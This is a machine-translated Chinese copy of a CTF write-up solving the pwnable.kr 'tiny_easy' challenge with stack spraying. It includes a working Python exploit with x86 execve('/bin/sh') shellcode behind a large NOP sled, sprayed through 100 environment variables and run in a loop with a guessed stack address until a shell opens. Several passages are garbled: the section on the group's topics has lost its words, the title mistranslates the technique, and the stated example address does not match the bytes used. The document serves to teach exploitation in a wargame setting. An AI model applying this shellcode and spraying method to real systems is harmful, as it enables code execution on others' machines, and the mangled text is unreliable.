使用pwnable.kr 27解决问题-tiny_easy。了解烟囱喷涂

图片

在本文中,我们将通过pwnable.kr网站解决第27个任务,并且我们将了解什么是Stack spraying。

组织信息
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

解决tiny_easy工作的方法


单击tyni_easy签名图标。我们提供了通过ssh连接的地址和端口。

图片

我们通过SSH连接,我们看到标志和程序已经没有源代码了。

图片

检查文件后,我们发现它没有保护。

图片

将程序下载到反汇编程序。该文件非常小,仅遵循一些说明。

图片

程序从一开始就将栈中的值提取到EAX寄存器中,然后再将其提取到EDX中并将控制权转移到该地址。但是,在程序开始时堆栈中的内容是什么?那时的堆栈包含完全相同的argc(程序参数的数量),argv(指向程序参数的数组的指针)和envp(指向环境变量的数组的指针)。

图片

因此,在EDX中,地址将放置在程序参数数组的第一个元素上,即在可执行文件的完整路径上!因此,尝试将其作为代码执行,应用程序应该崩溃。如果您检查,那么事实证明。

图片

堆栈喷涂是一种使用应用程序内存中的错误的攻击,它迫使应用程序为大量包含恶意代码的对象分配内存。这增加了漏洞利用成功的可能性,从而将执行流转移到内部的某个位置。重要的是要理解,没有允许您更改执行流程的漏洞利用程序,这种攻击就不会造成任何危害。攻击基于进程地址空间中地址的可预测性。

在操作系统中创建进程时,将根据其需要分配地址空间,在其中定位用户数据,可执行代码和某些系统信息,具体取决于特定的操作系统。因此,在堆栈段中,将存储具有自动放置类的变量以及每次调用该函数时存储的信息,例如,静态变量和调用该函数时的返回地址。对于堆喷,我们对漏洞利用程序所在的环境变量进行操作。

这样,我们可以将shellcode安排在堆栈上的环境变量中。但是,由于我们不太可能准确到达正确的地址,因此我们将在他面前进行许多点入操作。

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


由于程序从地址0xff ******开始,因此我们从该环境中获取堆栈的随机地址,例如0xffbbbbbbb。
addr = "\xb0\xaf\xb5\xff"


现在,我们将用我们的shellcode制作一些环境变量,以便获得该变量的可能性更高。

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

并多次使用参数运行程序。

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

运行完整的代码后,我们得到一个外壳。

图片

更多...您可以通过Telegram加入我们让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

Source: https://habr.com/ru/post/undefined/


All Articles